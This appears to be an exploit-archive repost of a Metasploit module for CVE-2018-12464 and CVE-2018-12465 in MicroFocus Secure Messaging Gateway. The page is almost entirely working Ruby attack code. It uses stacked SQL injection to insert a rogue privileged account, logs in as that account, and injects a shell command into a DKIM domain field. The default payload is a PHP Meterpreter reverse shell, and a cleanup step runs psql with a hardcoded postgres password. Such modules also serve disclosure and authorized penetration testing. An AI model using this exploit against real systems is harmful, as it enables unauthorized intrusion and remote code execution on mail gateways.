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MicroFocus Secure Messaging Gateway Remote Code Execution

MicroFocus Secure Messaging Gateway Remote Code Execution
Posted Jul 31, 2018
Authored by Mehmet Ince | Site metasploit.com

This Metasploit module exploits a SQL injection and command injection vulnerability in MicroFocus Secure Messaging Gateway. An unauthenticated user can execute a terminal command under the context of the web user. One of the user supplied parameters of API endpoint is used by the application without input validation and/or parameter binding, which leads to SQL injection vulnerability. Successfully exploiting this vulnerability gives a ability to add new user onto system. manage_domains_dkim_keygen_request.php endpoint is responsible for executing an operation system command. It's not possible to access this endpoint without having a valid session. Combining these vulnerabilities gives the opportunity execute operation system commands under the context of the web user.

tags | exploit, web, php, vulnerability, sql injection
advisories | CVE-2018-12464, CVE-2018-12465
MD5 | e1ed8b7a67ea6ddd018934d8c751a6d1

MicroFocus Secure Messaging Gateway Remote Code Execution

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "MicroFocus Secure Messaging Gateway Remote Code Execution",
'Description' => %q{
This module exploits a SQL injection and command injection vulnerability in MicroFocus Secure Messaging Gateway.
An unauthenticated user can execute a terminal command under the context of the web user.

One of the user supplied parameters of API endpoint is used by the application without input validation and/or parameter binding,
which leads to SQL injection vulnerability. Successfully exploiting this vulnerability gives a ability to add new user onto system.
manage_domains_dkim_keygen_request.php endpoint is responsible for executing an operation system command. It's not possible
to access this endpoint without having a valid session.

Combining these vulnerabilities gives the opportunity execute operation system commands under the context
of the web user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
],
'References' =>
[
['URL', 'https://pentest.blog/unexpected-journey-6-all-ways-lead-to-rome-remote-code-execution-on-microfocus-secure-messaging-gateway/'],
['CVE', '2018-12464'],
['CVE', '2018-12465'],
['URL', 'https://support.microfocus.com/kb/doc.php?id=7023132'],
['URL', 'https://support.microfocus.com/kb/doc.php?id=7023133']
],
'DefaultOptions' =>
{
'Payload' => 'php/meterpreter/reverse_tcp',
'Encoder' => 'php/base64'
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'Privileged' => false,
'DisclosureDate' => "Jun 19 2018",
'DefaultTarget' => 0
))

register_options(
[
OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])
]
)
end

def execute_query(query)
#
# We have a very rare SQLi case in here. Normally, it's would be very easy to exploit it by using time-based techniques
# but since we are able to use stacked-query approach, following form of payload is required in order to be able
# get back the output of query !
#
sql = rand_text_alphanumeric(3 + rand(3))
sql << "') LEFT JOIN ScanEngineProperty AS ScanEngineBindAddressPlain ON ScanEngineBindAddressPlain.idScanEngine=ScanEngineProperty.idScanEngine "
sql << "LEFT JOIN ScanEngineProperty AS ScanEngineBindAddressSsl ON ScanEngineBindAddressSsl.idScanEngine=ScanEngineProperty.idScanEngine "
sql << "LEFT JOIN ScanEngineProperty AS ScanEngineEnableSsl ON ScanEngineEnableSsl.idScanEngine=ScanEngineProperty.idScanEngine; "
sql << query
sql << "; -- "
sql << rand_text_alphanumeric(3 + rand(3))

send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api', '1', 'enginelist.php'),
'vars_post' => {
'appkey' => sql
}
)

end

def something_went_wrong
fail_with Failure::Unknown, 'Something went wrong'
end

def check
r = rand_text_numeric(15..35)
res = execute_query("SELECT #{r}")
unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end
unless res.code == 200 && res.body.include?(r)
return CheckCode::Safe
end
CheckCode::Vulnerable
end

def implant_payload(cookie)
print_status('Creating a domain record with a malformed DKIM data')
p = [
{
:id => 'temp_0',
:Description => rand_text_alpha(5),
:DkimList => [
{
:Domain => "$(php -r '#{payload.encoded}')",
:Selector => '',
:TempId => 'tempDkim_1'
}
]
}
].to_json
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'contents', 'ou', 'manage_domains_save_data.json.php'),
'cookie' => cookie,
'vars_get' => {
'cache' => 0,
},
'vars_post' => {
'StateData' => '[{"ouid":1}]',
'SaveData' => p
}
})

if res && res.code == 200 && res.body.include?('DbNodeId')
# Defining as global variable since we need to access them later within clean up function.
begin
@domainid = res.get_json_document['Nodes'][0]['DbNodeId']
@dkimid = res.get_json_document['Nodes'][1]['DbNodeId']
rescue => e
fail_with Failure::UnexpectedReply, "Something went horribly wrong while implanting the payload : #{e.message}"
end
print_good('Payload is successfully implanted')
else
something_went_wrong
end
end

def create_user
# We need to create an user by exploiting SQLi flaws so we can reach out to cmd injection
# issue location where requires a valid session !
print_status('Creating a user with appropriate privileges')

# Defining as global variable since we need to access them later within clean up function.
@username = rand_text_alpha_lower(5..25)
@userid = rand_text_numeric(6..8)
query = "INSERT INTO account VALUES (#{@userid}, 1, '#{@username}', '0', '', 1,61011);INSERT INTO UserRole VALUES (#{@userid},#{@userid},1),(#{@userid.to_i-1},#{@userid},2)"

execute_query(query)
res = execute_query("SELECT * FROM account WHERE loginname = '#{@username}'")

if res && res.code == 200 && res.body.include?(@username)
print_good("User successfully created. Username : #{@username}")
else
something_went_wrong
end
end

def login
print_status("Authenticating with created user")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'security', 'securitygate.php'),
'vars_post' => {
'username' => @username,
'password' => rand_text_alpha_lower(5..25),
'passwordmandatory' => rand_text_alpha_lower(5..25),
'LimitInterfaceId' => 1
}
)
if res && res.code == 200 && res.body.include?('/ui/default/index.php')
print_good('Successfully authenticated')
cookie = res.get_cookies
else
something_went_wrong
end
cookie
end

def exploit
unless check == CheckCode::Vulnerable
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end

create_user
cookie = login
implant_payload(cookie)

print_status('Triggering an implanted payload')
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'contents', 'ou', 'manage_domains_dkim_keygen_request.php'),
'cookie' => cookie,
'vars_get' => {
'cache' => 0,
},
'vars_post' => {
'DkimRecordId' => @dkimid
}
})

end

def on_new_session(session)
print_status('Cleaning up...')
cmd = ""
cmd << 'PGPASSWORD=postgres psql -U postgres -d SecureGateway -c "'
cmd << "DELETE FROM account WHERE loginname ='#{@username}';"
cmd << "DELETE FROM UserRole WHERE idaccount = #{@userid};"
cmd << "DELETE FROM Domain WHERE iddomain = #{@domainid};"
cmd << "DELETE FROM DkimSignature WHERE iddkimsignature = #{@dkimid};"
cmd << '"'
session.shell_command_token(cmd)
end

end

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